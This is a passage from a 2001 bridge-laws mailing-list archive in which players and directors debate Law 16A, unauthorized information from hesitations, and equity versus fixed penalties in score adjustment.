comes home. (Maybe partner's double wasn't a good idea!) Now your good score will be taken away. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 07:28:17 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f08KQL603461 for bridge-laws-outgoing; Tue, 9 Jan 2001 07:26:21 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08KQFt03457 for ; Tue, 9 Jan 2001 07:26:16 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com; Mon, 8 Jan 2001 12:23:07 -0800 Message-ID: <006001c079b1$32631360$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: , References: <67378DEA146DD21194C20000F87B08BA01B8B75B@fdwag002s.fd.agro.nl> Subject: Re: [BLML] Equity or simplicity? Date: Mon, 8 Jan 2001 12:18:29 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ton Kooijman wrote: > Marv French wrote: > > Forget equity, what we want is justice > > Justice has no general meaning. In the USA death penalty by hanging or an > electric shock is justice and in some other countries loosing parts of your > body still is within the scope of justice. But I agree that both are > examples of simplicity. Unless we want to coin new words, we are forced to use existing words in new ways within the bridge community. A bridge goes over a river, a pass lets one out on liberty or gets one into a performance, and a double is a look-alike, but those words have been given new meanings in the game of bridge in preference to coining new words. What I mean by "justice" in the game of bridge is the creation and application of laws that correct unacceptable actions in ways that are easy to understand, easy to apply, provide adequate deterrence, and have duplicatable resolutions (by which I mean the same infraction will incur the same penalty no matter who is the TD or who is on the AC). One result of such justice is that offenders get penalized in identical ways when they cause damage, and non-offenders get full benefit of doubt when deciding what redress is appropriate for them. What I mean by "equity" in the game of bridge is the unachievable and undesirable goal of correcting unacceptable actions by giving either the offenders or the non-offenders, or both, the perceived score that was coming to them at the time an infraction occurred. In the case of offenders, they get neither penalty nor deterrence (few would agree with that policy). In the case of the non-offenders they get some unduplicatable, subjective notion of what their theoretical interest was in the deal at the time of the infraction, with little benefit of doubt (as many advocate). Perhaps other words would serve better for these concepts, but until someone suggests better ones I'll stick with these. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 07:40:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f08KeLX07893 for bridge-laws-outgoing; Tue, 9 Jan 2001 07:40:21 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08KeEt07854 for ; Tue, 9 Jan 2001 07:40:15 +1100 (EST) Received: from flash.irvine.com (flash.irvine.com [192.160.8.4]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id MAA29361; Mon, 8 Jan 2001 12:40:07 -0800 Message-Id: <200101082040.MAA29361@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] What is suggested ? In-reply-to: Your message of "Mon, 08 Jan 2001 11:20:19 PST." <001001c079a8$1e254700$56991e18@san.rr.com> Date: Mon, 08 Jan 2001 12:40:08 PST From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin French wrote: > Ton Kooijman wrote: > > > Marv wrote: > > > > > > > > >In my view L16A is telling you what you can do after > > > receiving UI from > > > >partner, and making an illogical call is not one of the > > > options given. > > > > > > "What > > > >is not authorized is not permitted." I don't see how L16A, which is written in the negative (i.e. it tells you what you may not do), could be interpreted as "authorizing" a limited set of actions. If the law says "You may not drive down Main Street faster than 45 MPH", this does *not* imply that everyone must drive down Main Street whenever they go somewhere. By the same principle, a law that says "You may not choose a logical alternative that falls into some illegal category" does *not* imply that a logical alternative must be chosen. > If a law says that voters may not elect as president a person from > among the citizenry who is younger than age 35, does that mean a > non-citizen can be chosen? I think not. I think it does, if it's the *only* law that restricts who may be chosen as president. Of course, if there's another law saying that non-citizens can't be president, both restrictions apply. In the case of bridge, though, there's no "other law" saying that illogical actions (not suggested by UI) cannot be chosen. As a side point, I believe that certain Laws are sloppily written and need fixing. Specifically, L16A, L16C2, and L73F1 seem to imply that it's only illegal to choose a *logical* alternative suggested by UI, not an *illogical* one suggested by UI; while L16A2 says that any action suggested by UI, whether logical or illogical, is illegal if there are logical alternatives. To my mind, L16A2 is correct and the other three need fixing. If you think fixing it is unnecessary because L73C is good enough, I disagree; L73C is a rather broad statement of principle, and when a Law purports to give a clearer definition of certain instances of this principle (as 16A, 16A2, 16C2, and 73F1 do), but do so badly (as 16A, 16C2 and 73F1 do), the result can only be confusion. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 07:51:45 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f08KpZA11831 for bridge-laws-outgoing; Tue, 9 Jan 2001 07:51:35 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08KpRt11786 for ; Tue, 9 Jan 2001 07:51:28 +1100 (EST) Received: from flash.irvine.com (flash.irvine.com [192.160.8.4]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id MAA29630; Mon, 8 Jan 2001 12:51:20 -0800 Message-Id: <200101082051.MAA29630@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] What is suggested ? In-reply-to: Your message of "Mon, 08 Jan 2001 14:56:00 PST." <200101081956.OAA07647@cfa183.harvard.edu> Date: Mon, 08 Jan 2001 12:51:21 PST From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Steve Willner wrote: > Similarly, if you take a non-logical alternative, and it works out > well, you keep your score _provided_ the action you chose was made > _less_ attractive by the UI than it would have been otherwise. I think you'd also get to keep your score if the non-logical alternative has been made neither more nor less attractive by the UI. This would be the case, for instance, for the majority of non-logical alternatives, for which the "attractiveness factor" is 0.00000 and remains 0.00000 no matter what UI you get. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 07:55:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f08KsYR12868 for bridge-laws-outgoing; Tue, 9 Jan 2001 07:54:34 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from swarm.mosquitonet.com (swarm.mosquitonet.com [206.129.11.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08KsRt12830 for ; Tue, 9 Jan 2001 07:54:28 +1100 (EST) Received: from bigbyte.mosquitonet.com (bigbyte.mosquitonet.com [206.129.11.2]) by swarm.mosquitonet.com (8.9.1/8.9.3) with SMTP id MAA01025 for ; Mon, 8 Jan 2001 12:08:37 -0900 Date: Mon, 8 Jan 2001 11:54:41 -0900 (AKST) From: Gordon Bower To: Bridge Laws Mailing List Subject: Re: [BLML] What is suggested ? In-Reply-To: <001001c079a8$1e254700$56991e18@san.rr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Mon, 8 Jan 2001, Marvin L. French wrote: (replying to Ton's readig of L16A.) > To me it is merely offering a choice among logical alternatives, > while prohibiting one that was demonstrably suggested by the UI. It > does not say that an illogical alternative action may be taken. Your > reading is that "may not choose from among logical alternative > actions" permits an illogical alternative action. I don't see that. > > If a law says that voters may not elect as president a person from > among the citizenry who is younger than age 35, does that mean a > non-citizen can be chosen? I think not. > Yes. If that were the law specifying who was eligible to be president, and if it were the only relevant law -- it does indeed say that citizens under 35 are ineligible, but presents no bar to the election of noncitizens of any age or to election of citizens 35 or older. Contrast your hypothetical law with what Article II of the US Constitution actually says: "No person except a natural born Citizen, or a Citizen of the United States at the time of the Adoption of the Constitution, shall be eligible to the Office of President; neither shall any Person be eligible to that Office who shall not have attained to the Age of thirty five Years, and been fourteen Years a Resident within the United States." which makes it quite clear that failure to meet any of three tests -- citizenship, age, and length of time living here -- disqualifies you. I agree wholeheartedly with Ton's reading of L16A. Earlier in this thread someone dragged out "what is not authorized is not permitted" as an argument against choosing an illogical alternative. I find L40A quite clear in authorizing any call I might wish to make, with L16A (and 18B and 36-39 and others) placing certain limitations on this right. Using L73C to stop seemingly illogical brilliancies after UI is passed seems fine to me. I am not comfortable with using 73C to roll back crazy gambles which become good results thanks to freak distribution or awful defense. Incidentally, does anyone find it odd that L73C applies only to UI from partner, not to UI recevied from anywhere else in the room? Apparently the lawmakers believe L16B has no such loopholes as L16A does. GRB -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 09:02:19 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f08M1TV00169 for bridge-laws-outgoing; Tue, 9 Jan 2001 09:01:29 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08M1Nt00165 for ; Tue, 9 Jan 2001 09:01:24 +1100 (EST) Received: from flash.irvine.com (flash.irvine.com [192.160.8.4]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id OAA31270; Mon, 8 Jan 2001 14:01:16 -0800 Message-Id: <200101082201.OAA31270@mailhub.irvine.com> To: Bridge Laws Mailing List CC: adam@irvine.com Subject: Re: [BLML] What is suggested ? In-reply-to: Your message of "Mon, 08 Jan 2001 11:54:41 PST." Date: Mon, 08 Jan 2001 14:01:17 PST From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Gordon Bower wrote: > Incidentally, does anyone find it odd that L73C applies only to UI from > partner, not to UI recevied from anywhere else in the room? Apparently the > lawmakers believe L16B has no such loopholes as L16A does. FWIW, I doubt that L73C was written to cover "loopholes" in L16A, as you seem to imply. In fact, although I don't have the 1975 laws handy, my recollection is that L73 was not a Law until 1987, and prior to that it was part of the "Proprieties", a list which informed the players of what was expected of them ethically but didn't really have the force of Law, and didn't have Law numbers. (I don't remember what L16 looked like at the time; I don't think that the precise wording about "logical alternatives" and all that were added to the Laws until 1987.) -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 09:07:44 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f08M7VZ00190 for bridge-laws-outgoing; Tue, 9 Jan 2001 09:07:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bertha.au.csc.net (bertha.au.csc.net [203.0.101.101]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08M7Qt00186 for ; Tue, 9 Jan 2001 09:07:26 +1100 (EST) Received: from c3w-fwb (c3w-fwb [203.0.101.98]) by bertha.au.csc.net (8.9.1a/8.9.1) with SMTP id JAA24752 for ; Tue, 9 Jan 2001 09:00:20 +1100 (EST) From: richard.hills@immi.gov.au Received: from c3w-notes ([20.18.100.39]) by C3W-FWB.au.csc.net; Tue, 09 Jan 2001 09:01:25 +0000 (EST) Subject: Re: [BLML] What is suggested ? To: bridge-laws@rgb.anu.edu.au.C3EXTERNAL.gov.au Date: Tue, 9 Jan 2001 09:03:53 +1000 Message-ID: X-MIMETrack: Serialize by Router on C3External/C3X(Release 5.0.3 (Intl)|21 March 2000) at 09/01/2001 09:06:32 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Steve Willner wrote, in rebuttal to Marvin L French: [snip] Imagine after the slow penalty double you are void in trumps and have a solid, unbid 9-card suit. Nobody in the known universe is passing, but you decide to pass, and by a miracle this time (mere good luck is not enough!) it works out well. You still keep your score. Your pass still was not "demonstrably suggested," whether it was a LA or not. [snip] A number of years ago, an ACBL AC adopted Marv's position, and ruled that since leaving pard's slow penalty double with a hand of shape and power was not a LA, the *OS* would have their number taken away. When commenting on this case in a Bridge World editorial, Edgar Kaplan stated that the AC had used incorrect reasoning. Kaplan stated that *if* the AC deemed that the doubler had deliberately hesitated to prevent partner pulling, then a mere score adjustment was not appropriate, but rather a disciplinary penalty. Best wishes R -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 09:18:15 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f08MI2400212 for bridge-laws-outgoing; Tue, 9 Jan 2001 09:18:02 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-1.cais.net (stmpy-1.cais.net [205.252.14.71]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08MHtt00208 for ; Tue, 9 Jan 2001 09:17:56 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-1.cais.net (8.11.1/8.11.1) with ESMTP id f08MHoS30255 for ; Mon, 8 Jan 2001 17:17:51 -0500 (EST) Message-Id: <4.3.2.7.1.20010108165741.00aabe90@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 08 Jan 2001 17:18:28 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] What is suggested ? In-Reply-To: <001001c079a8$1e254700$56991e18@san.rr.com> References: <67378DEA146DD21194C20000F87B08BA01B8B75D@fdwag002s.fd.agro.nl> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 02:20 PM 1/8/01, Marvin wrote: >Ton Kooijman wrote: > > > Marv wrote: > > > > > >In my view L16A is telling you what you can do after > > > receiving UI from > > > >partner, and making an illogical call is not one of the > > > options given. > > > > Where do you read that? It says explicitly that a choice among >LOGICAL > > alternatives that could DEMONSTRABLY have been suggested is >prohibited. > >To me it is merely offering a choice among logical alternatives, >while prohibiting one that was demonstrably suggested by the UI. It >does not say that an illogical alternative action may be taken. Nor does it say that it may not. If the lawmakers did not intend to permit an illogical action to be taken, they would not have used the word "logical"; they would simply have written "...may not choose from among alternative actions..." >Your >reading is that "may not choose from among logical alternative >actions" permits an illogical alternative action. I don't see that. I don't see how an "illogical alternative action" can be chosen "from among logical alternative actions". There is no need to explicitly permit illogical (alternative) actions; players are free to be as illogical as they want to except where an illogical action may be explicitly prohibited. For example, if partner says "bid something illogical, pard", doing so might now be considered an infraction of L73C. But, as Ton suggests, an action which is illegal under L16A must have been "demonstrably suggested", and the only way to "demonstrably suggest" an illogical action is to explicitly suggest it. >If a law says that voters may not elect as president a person from >among the citizenry who is younger than age 35, does that mean a >non-citizen can be chosen? I think not. Of course it does, standing alone. In the U.S., a non-citizen younger than 35 may not be chosen as President because the U.S. consitution separately and specifically prohibits Presidents from being either younger than 35 or non-citizens, and the "law" as cited by Marv would not override the latter prohibition. But there is nothing in the laws of Bridge that explicitly prohibits illogical actions. Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 09:19:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f08MIuD00226 for bridge-laws-outgoing; Tue, 9 Jan 2001 09:18:56 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bertha.au.csc.net (bertha.au.csc.net [203.0.101.101]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08MIqt00221 for ; Tue, 9 Jan 2001 09:18:52 +1100 (EST) Received: from c3w-fwb (c3w-fwb [203.0.101.98]) by bertha.au.csc.net (8.9.1a/8.9.1) with SMTP id JAA26120 for ; Tue, 9 Jan 2001 09:11:46 +1100 (EST) From: richard.hills@immi.gov.au Received: from c3w-notes ([20.18.100.39]) by C3W-FWB.au.csc.net; Tue, 09 Jan 2001 09:12:51 +0000 (EST) Subject: RE: [BLML] Equity or simplicity? To: bridge-laws@rgb.anu.edu.au.C3EXTERNAL.gov.au Date: Tue, 9 Jan 2001 09:15:24 +1000 Message-ID: X-MIMETrack: Serialize by Router on C3External/C3X(Release 5.0.3 (Intl)|21 March 2000) at 09/01/2001 09:17:58 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Alain Gottcheiner enquired: [big snip] >This also means that in the Acol sequence >1H p ...3H p, the tempo didn't give away >anything : one couldn't know whether the >responder hesitated between 2 and 3, or >between 3 and 4. Thus, the odds for and >against 4H aren't changed (only, if you are >wrong, you are more so), and 4H shouldn't >be disallowed. > >Comments welcome on that one. > > A. IMHO, Alain is correct *in theory*. IMHO, almost always *in practice* a hesitation denies a sub-minimum, and promises extra values. Best wishes R -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 09:36:04 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f08MZlS01851 for bridge-laws-outgoing; Tue, 9 Jan 2001 09:35:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bertha.au.csc.net (bertha.au.csc.net [203.0.101.101]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08MZft01823 for ; Tue, 9 Jan 2001 09:35:42 +1100 (EST) Received: from c3w-fwb (c3w-fwb [203.0.101.98]) by bertha.au.csc.net (8.9.1a/8.9.1) with SMTP id JAA28363 for ; Tue, 9 Jan 2001 09:28:36 +1100 (EST) From: richard.hills@immi.gov.au Received: from c3w-notes ([20.18.100.39]) by C3W-FWB.au.csc.net; Tue, 09 Jan 2001 09:29:40 +0000 (EST) Received: from immcbrn1.immi.gov.au ([164.97.95.58]) by C3W-NOTES.AU.CSC.NET (Lotus Domino Release 5.0.3 (Intl)) with SMTP id 2001010909344691:84944 ; Tue, 9 Jan 2001 09:34:46 +1100 Received: by immcbrn1.immi.gov.au(Lotus SMTP MTA v4.6.7 (934.1 12-30-1999)) id 4A2569CF.00032F3F ; Tue, 9 Jan 2001 10:34:47 +1000 X-Lotus-FromDomain: IMMI To: bridge-laws@rgb.anu.edu.au Message-ID: <4A2569CF.00032D54.00@immcbrn1.immi.gov.au> Date: Tue, 9 Jan 2001 09:32:02 +1000 Subject: Re: [BLML] Equity or simplicity? Mime-Version: 1.0 X-MIMETrack: Itemize by SMTP Server on C3External/C3X(Release 5.0.3 (Intl)|21 March 2000) at 09/01/2001 09:34:47 AM, Serialize by Router on C3External/C3X(Release 5.0.3 (Intl)|21 March 2000) at 09/01/2001 09:34:47 AM, Serialize complete at 09/01/2001 09:34:47 AM Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin L French parenthesised: [big snip] >(by which I mean the same infraction >will incur the same penalty no matter >who is the TD or who is on the AC) [big snip] The only way this utopia could occur would be if the Laws contained nothing but automatic penalties - thus removing the need for ACs. A cursory glance at the variance of opinions in the casebooks of ACBL National Championship ACs reveals not only frequent lack of unanimity within ACs, but varying judgements by ACs due to different membership. But this is inherent in the nature of committees. When did the Bridge World's Master Solvers Club last have a unanimous vote? Best wishes R -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 09:55:24 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f08Mt2305905 for bridge-laws-outgoing; Tue, 9 Jan 2001 09:55:02 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08Msut05901 for ; Tue, 9 Jan 2001 09:54:57 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id RAA04688 for ; Mon, 8 Jan 2001 17:54:53 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id RAA07805 for bridge-laws@rgb.anu.edu.au; Mon, 8 Jan 2001 17:54:52 -0500 (EST) Date: Mon, 8 Jan 2001 17:54:52 -0500 (EST) From: Steve Willner Message-Id: <200101082254.RAA07805@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] What is suggested ? X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: Adam Beneschan > In fact, although I don't have the 1975 laws > handy, my recollection is that L73 was not a Law until 1987, and prior > to that it was part of the "Proprieties", a list which informed the > players of what was expected of them ethically but didn't really have > the force of Law, and didn't have Law numbers. Adam's memory is correct, but it doesn't seem relevant to me. The whole treatment of UI was modified in 1987 (although not by as much as had been done in 1975). He is right again that 'logical alternative' first appeared in 1987. Regardless of what was in prior versions, the "Proprieties" are now part of the laws and are fully enforceable via L12A1. Of course if there's a more specific law, e.g. L16A1 in place of L75C, it would be normal to apply the more specific law instead of the more general one _if both apply_. But I see no reason the more general law should not be enforced if it applies and the more specific one does not. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 09:55:58 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f08Mtrd05917 for bridge-laws-outgoing; Tue, 9 Jan 2001 09:55:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout1-1.nyroc.rr.com (mailout1-1.nyroc.rr.com [24.92.226.146]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08Mtlt05913 for ; Tue, 9 Jan 2001 09:55:47 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout1-1.nyroc.rr.com (8.9.3/8.9.3) with ESMTP id RAA20154 for ; Mon, 8 Jan 2001 17:51:43 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <200101081956.OAA07647@cfa183.harvard.edu> References: <200101081956.OAA07647@cfa183.harvard.edu> Date: Mon, 8 Jan 2001 17:49:26 -0500 To: Bridge Laws From: Ed Reppert Subject: Re: [BLML] What is suggested ? Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > you keep your score _provided_ the action you chose was made >_less_ attractive by the UI than it would have been otherwise. Is that really right? Or is it "was not made _more_ attractive"? If it is right, _why_ is it right? :-) Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOlpFbL2UW3au93vOEQIiUgCdETjb0bY4ultMRnNFZSthOAxjyrEAn2+O fx3HpL3oUewWjwCW1lsqCCtr =OD9q -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 09:57:03 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f08Muwd05929 for bridge-laws-outgoing; Tue, 9 Jan 2001 09:56:58 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from psa836.la.asu.edu (root@psa836.la.asu.edu [129.219.44.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08Muqt05925 for ; Tue, 9 Jan 2001 09:56:53 +1100 (EST) Received: from localhost (localhost [[UNIX: localhost]]) by psa836.la.asu.edu (8.10.2/8.10.2) id f08G6av07240 for bridge-laws@rgb.anu.edu.au; Mon, 8 Jan 2001 16:06:36 GMT From: David J Grabiner Organization: Arizona State University Mathematics Departmentt To: Bridge Laws Mailing List Subject: Re: [BLML] What is suggested ? Date: Mon, 8 Jan 2001 16:03:28 +0000 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain References: <200101082201.OAA31270@mailhub.irvine.com> In-Reply-To: <200101082201.OAA31270@mailhub.irvine.com> MIME-Version: 1.0 Message-Id: <01010816063607.07132@psa836> Content-Transfer-Encoding: 8bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Mon, 08 Jan 2001, Adam Beneschan wrote: > FWIW, I doubt that L73C was written to cover "loopholes" in L16A, as > you seem to imply. In fact, although I don't have the 1975 laws > handy, my recollection is that L73 was not a Law until 1987, and prior > to that it was part of the "Proprieties", a list which informed the > players of what was expected of them ethically but didn't really have > the force of Law, and didn't have Law numbers. What was done back then with cases that now require L73C? For example, on the typical hesitation Blackwood auction, 1S-3S-4NT-5D-..5S, 6S is usually not a LA. The wording of L16 thus does not allow an adjustment for the 6S bid, but I assume everyone would still adjust. Under what law? You could use the "spirit" of L16, I suppose. -- Sincerely, David Grabiner, grabiner@math.la.asu.edu Department of Mathematics, Arizona State University, Tempe, AZ 85287-1804 http://math.la.asu.edu/~grabiner Phone: (480)965-3745 (work), (480)517-1674 (home). Fax: (480)965-8119. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 10:00:22 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f08N0B905950 for bridge-laws-outgoing; Tue, 9 Jan 2001 10:00:11 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08N04t05946 for ; Tue, 9 Jan 2001 10:00:05 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id SAA04871 for ; Mon, 8 Jan 2001 18:00:01 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu 